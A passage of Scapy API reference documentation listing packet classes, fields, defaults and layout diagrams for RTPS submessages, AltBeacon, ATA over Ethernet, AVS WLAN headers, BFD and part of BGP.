+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RTPSSubMessage_INFO_TS                    


RTPSSubMessage_INFO_TS fields






	submessageId

	XByteField

	9



	submessageFlags

	FlagsField

	<Flag 0 ()>



	octetsToNextHeader

	EField

	0



	ts_seconds

	Field (Cond)

	0



	ts_fraction

	Field (Cond)

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_PAD(_pkt, /, *, submessageId=1, submessageFlags=0, octetsToNextHeader=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L436-L450]

	Bases: EPacket

0…2………..7……………15………….23……………31
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   PAD         |     flags     |      octetsToNextHeader       |
+—————+—————+—————+—————+


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SUBMESSAGEID |SUBMESSAGEFLAGS|       OCTETSTONEXTHEADER      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RTPSSubMessage_PAD                      


RTPSSubMessage_PAD fields






	submessageId

	XByteField

	1



	submessageFlags

	XByteField

	0



	octetsToNextHeader

	EField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_SEC_BODY(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L468-L470]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. RTPSSubMessage_SEC_BODY                   


RTPSSubMessage_SEC_BODY fields






	uninterpreted_data

	StrField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_SEC_POSTFIX(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L463-L465]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RTPSSubMessage_SEC_POSTFIX                  


RTPSSubMessage_SEC_POSTFIX fields






	uninterpreted_data

	StrField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_SEC_PREFIX(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L458-L460]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. RTPSSubMessage_SEC_PREFIX                  


RTPSSubMessage_SEC_PREFIX fields






	uninterpreted_data

	StrField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_SRTPS_POSTFIX(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L478-L480]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RTPSSubMessage_SRTPS_POSTFIX                 


RTPSSubMessage_SRTPS_POSTFIX fields






	uninterpreted_data

	StrField

	0















	
class scapy.contrib.rtps.rtps.RTPSSubMessage_SRTPS_PREFIX(_pkt, /, *, uninterpreted_data=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/rtps/rtps.py#L473-L475]

	Bases: EPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       UNINTERPRETED DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. RTPSSubMessage_SRTPS_PREFIX                 


RTPSSubMessage_SRTPS_PREFIX fields






	uninterpreted_data

	StrField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.altbeacon

scapy.contrib.altbeacon - AltBeacon Bluetooth LE proximity beacons.

The AltBeacon specification can be found at: https://github.com/AltBeacon/spec


	
class scapy.contrib.altbeacon.AltBeacon(_pkt, /, *, header=b'\xbe\xac', id1=None, id2=None, id3=None, tx_power=None, mfg_reserved=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/altbeacon.py#L42-L81]

	Bases: Packet, LowEnergyBeaconHelper

AltBeacon broadcast frame type.

https://github.com/AltBeacon/spec


	
aliastypes

	




	
build_eir()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/altbeacon.py#L73-L81]

	Builds a list of EIR messages to wrap this frame.






	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HEADER            |              ID1              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              ID2              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ID3              |    TX POWER   |  MFG RESERVED |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. AltBeacon                          


AltBeacon fields






	header

	StrFixedLenField

	b'\xbe\xac'



	id1

	UUIDField

	None



	id2

	ShortField

	None



	id3

	ShortField

	None



	tx_power

	MayEnd

	None



	mfg_reserved

	ByteField

	None











	
magic = b'\xbe\xac'

	




	
classmethod magic_check(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/altbeacon.py#L66-L71]

	Checks if the given payload is for us (starts with our magic string).












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.aoe


	
class scapy.contrib.aoe.AOE(_pkt, /, *, version=1, flags=<Flag 0 ()>, error=0, major=65535, minor=255, cmd=1, tag=0, i_ata_cmd=<IssueATACommand  |>, q_conf_info=<QueryConfigInformation  |>, mac_m_list=<MacMaskList  |>, res_rel=<ReserveRelease  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L98-L131]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L130-L131]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION| FLAGS |     ERROR     |             MAJOR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     MINOR     |      CMD      |              TAG              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |           I ATA CMD           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Q CONF INFO          |           MAC M LIST          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RES REL            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. AOE                             


AOE fields






	version

	BitField  (4 bits)

	1



	flags

	FlagsField

	<Flag 0 ()>



	error

	ByteEnumField

	0



	major

	XShortField

	65535



	minor

	XByteField

	255



	cmd

	ByteEnumField

	1



	tag

	XIntField

	0



	i_ata_cmd

	PacketField (Cond)

	<IssueATACommand  |>



	q_conf_info

	PacketField (Cond)

	<QueryConfigInformation  |>



	mac_m_list

	PacketField (Cond)

	<MacMaskList  |>



	res_rel

	PacketField (Cond)

	<ReserveRelease  |>











	
payload_guess

	Possible sublayers:
IssueATACommand, MacMaskList, QueryConfigInformation, ReserveRelease










	
class scapy.contrib.aoe.Directive(_pkt, /, *, reserved=0, dcmd=0, mac_addr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L58-L65]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |      DCMD     |            MAC ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. Directive                          


Directive fields






	reserved

	ByteField

	0



	dcmd

	ByteEnumField

	0



	mac_addr

	MACField

	'00:00:00:00:00:00'















	
class scapy.contrib.aoe.IssueATACommand(_pkt, /, *, flags=<Flag 0 ()>, err_feature=0, sector_count=1, cmd_status=236, lba0=0, lba1=0, lba2=0, lba3=0, lba4=0, lba5=0, reserved=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L19-L36]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L35-L36]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FLAGS     |  ERR FEATURE  |  SECTOR COUNT |   CMD STATUS  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LBA0     |      LBA1     |      LBA2     |      LBA3     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LBA4     |      LBA5     |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IssueATACommand                       


IssueATACommand fields






	flags

	FlagsField

	<Flag 0 ()>



	err_feature

	XByteField

	0



	sector_count

	ByteField

	1



	cmd_status

	XByteField

	236



	lba0

	XByteField

	0



	lba1

	XByteField

	0



	lba2

	XByteField

	0



	lba3

	XByteField

	0



	lba4

	XByteField

	0



	lba5

	XByteField

	0



	reserved

	XShortField

	0



	data

	StrLenField

	b''















	
class scapy.contrib.aoe.MacMaskList(_pkt, /, *, reserved=0, mcmd=0, merror=0, dir_count=None, directives=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L68-L82]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L81-L82]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |      MCMD     |     MERROR    |   DIR COUNT   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           DIRECTIVES          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. MacMaskList                         


MacMaskList fields






	reserved

	ByteField

	0



	mcmd

	ByteEnumField

	0



	merror

	ByteEnumField

	0



	dir_count

	FieldLenField

	None



	directives

	PacketListField

	[]















	
class scapy.contrib.aoe.QueryConfigInformation(_pkt, /, *, buffer_count=0, firmware=0, sector_count=0, aoe=0, ccmd=0, config_length=None, config=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L39-L55]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L54-L55]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BUFFER COUNT         |            FIRMWARE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SECTOR COUNT |  AOE  |  CCMD |         CONFIG LENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CONFIG            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. QueryConfigInformation                    


QueryConfigInformation fields






	buffer_count

	ShortField

	0



	firmware

	ShortField

	0



	sector_count

	ByteField

	0



	aoe

	BitField  (4 bits)

	0



	ccmd

	BitEnumField

	0



	config_length

	FieldLenField

	None



	config

	StrLenField

	None















	
class scapy.contrib.aoe.ReserveRelease(_pkt, /, *, rcmd=0, nb_mac=None, mac_addrs=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L85-L95]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/aoe.py#L94-L95]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      RCMD     |             NB MAC            |   MAC ADDRS   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. ReserveRelease                        


ReserveRelease fields






	rcmd

	ByteEnumField

	0



	nb_mac

	FieldLenField

	None



	mac_addrs

	FieldListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.avs


	
class scapy.contrib.avs.AVSWLANHeader(_pkt, /, *, version=1, len=64, mactime=0, hosttime=0, phytype=0, channel=0, datarate=0, antenna=0, priority=0, ssi_type=0, ssi_signal=0, ssi_noise=0, preamble=0, encoding=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/avs.py#L39-L56]

	Bases: Packet

iwpriv eth1 set_prismhdr 1


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LEN                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            MACTIME                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            HOSTTIME                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PHYTYPE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CHANNEL                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            DATARATE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ANTENNA                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PRIORITY                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            SSI TYPE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SSI SIGNAL                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           SSI NOISE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            PREAMBLE                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            ENCODING                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. AVSWLANHeader                        


AVSWLANHeader fields






	version

	IntField

	1



	len

	IntField

	64



	mactime

	LongField

	0



	hosttime

	LongField

	0



	phytype

	IntEnumField

	0



	channel

	IntField

	0



	datarate

	IntField

	0



	antenna

	IntField

	0



	priority

	IntField

	0



	ssi_type

	IntEnumField

	0



	ssi_signal

	SignedIntField

	0



	ssi_noise

	SignedIntField

	0



	preamble

	IntEnumField

	0



	encoding

	IntEnumField

	0











	
payload_guess

	Possible sublayers:
Dot11












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.bfd

BFD - Bidirectional Forwarding Detection - RFC 5880, 5881, 7130, 7881


	
class scapy.contrib.bfd.BFD(_pkt, /, *, version=1, diag=0, sta=3, flags=<Flag 0 ()>, detect_mult=3, len=None, my_discriminator=286331153, your_discriminator=572662306, min_tx_interval=1000000000, min_rx_interval=1000000000, echo_rx_interval=1000000000, optional_auth=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bfd.py#L112-L143]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSI|   DIAG  |STA|   FLAGS   |  DETECT MULT  |      LEN      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MY DISCRIMINATOR                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       YOUR DISCRIMINATOR                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MIN TX INTERVAL                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        MIN RX INTERVAL                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        ECHO RX INTERVAL                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         OPTIONAL AUTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. BFD                             


BFD fields






	version

	BitField  (3 bits)

	1



	diag

	BitEnumField

	0



	sta

	BitEnumField

	3



	flags

	FlagsField

	<Flag 0 ()>



	detect_mult

	ByteField

	3



	len

	FieldLenField

	None



	my_discriminator

	BitField  (32 bits)

	286331153



	your_discriminator

	BitField  (32 bits)

	572662306



	min_tx_interval

	BitField  (32 bits)

	1000000000



	min_rx_interval

	BitField  (32 bits)

	1000000000



	echo_rx_interval

	BitField  (32 bits)

	1000000000



	optional_auth

	PacketField (Cond)

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bfd.py#L138-L143]

	








	
class scapy.contrib.bfd.OptionalAuth(_pkt, /, *, auth_type=1, auth_len=None, auth_keyid=1, reserved=0, sequence_number=0, auth_key=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bfd.py#L66-L109]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   AUTH TYPE   |    AUTH LEN   |   AUTH KEYID  |    RESERVED   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        SEQUENCE NUMBER                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            AUTH KEY           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. OptionalAuth                         


OptionalAuth fields






	auth_type

	ByteEnumField

	1



	auth_len

	FieldLenField

	None



	auth_keyid

	ByteField

	1



	reserved

	XByteField (Cond)

	0



	sequence_number

	IntField (Cond)

	0



	auth_key

	MultipleTypeField (StrFixedLenField, XNBytesField, XNBytesField, StrFixedLenField)

	b'password'

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.bgp

BGP (Border Gateway Protocol).


	
class scapy.contrib.bgp.ASPathSegmentPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1157-L1181]

	Bases: PacketListField

PacketListField handling AS_PATH segments.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1162-L1181]

	








	
class scapy.contrib.bgp.BGP(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L501-L527]

	Bases: Packet

Every BGP message inherits from this class.


	
KEEPALIVE_TYPE = 4

	




	
NOTIFICATION_TYPE = 3

	




	
OPEN_TYPE = 1

	




	
ROUTEREFRESH_TYPE = 5

	




	
UPDATE_TYPE = 2

	




	
aliastypes

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L515-L521]

	Returns the right class for the given data.






	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L523-L527]

	








	
class scapy.contrib.bgp.BGPAuthenticationInformation(_pkt, /, *, authentication_code=0, authentication_data=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L874-L884]

	Bases: Packet

Provides an implementation of the Authentication Information optional
parameter, which is now obsolete.
References: RFC 1771, RFC 1654, RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|AUTHENTICATION |      AUTHENTICATION DATA      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. BGPAuthenticationInformation                 


BGPAuthenticationInformation fields






	authentication_code

	ByteField

	0



	authentication_data

	StrField

	None















	
class scapy.contrib.bgp.BGPCapFourBytesASN(_pkt, /, *, code=65, length=4, asn=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L856-L867]

	Bases: BGPCapability

This class provides an implementation of the 4-octet AS number
capability.
References: RFC 4893


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |     LENGTH    |              ASN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. BGPCapFourBytesASN                      


BGPCapFourBytesASN fields






	code

	ByteEnumField

	65



	length

	ByteField

	4



	asn

	IntField

	0











	
match_subclass = True

	








	
class scapy.contrib.bgp.BGPCapGeneric(_pkt, /, *, code=0, length=None, cap_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L670-L682]

	Bases: BGPCapability

This class provides an implementation of a generic capability.


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |     LENGTH    |            CAP DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. BGPCapGeneric                        


BGPCapGeneric fields






	code

	ByteEnumField

	0



	length

	FieldLenField

	None



	cap_data

	StrLenField

	b''











	
match_subclass = True

	








	
class scapy.contrib.bgp.BGPCapGracefulRestart(_pkt, /, *, code=64, length=None, restart_flags=0, restart_time=0, entries=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L828-L849]

	Bases: BGPCapability

This class provides an implementation of the Graceful Restart
capability.
References: RFC 4724


	
class GRTuple(_pkt, /, *, afi=0, safi=0, flags=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L835-L841]

	Bases: Packet

Tuple <AFI, SAFI, Flags for address family>


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AFI              |      SAFI     |     FLAGS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

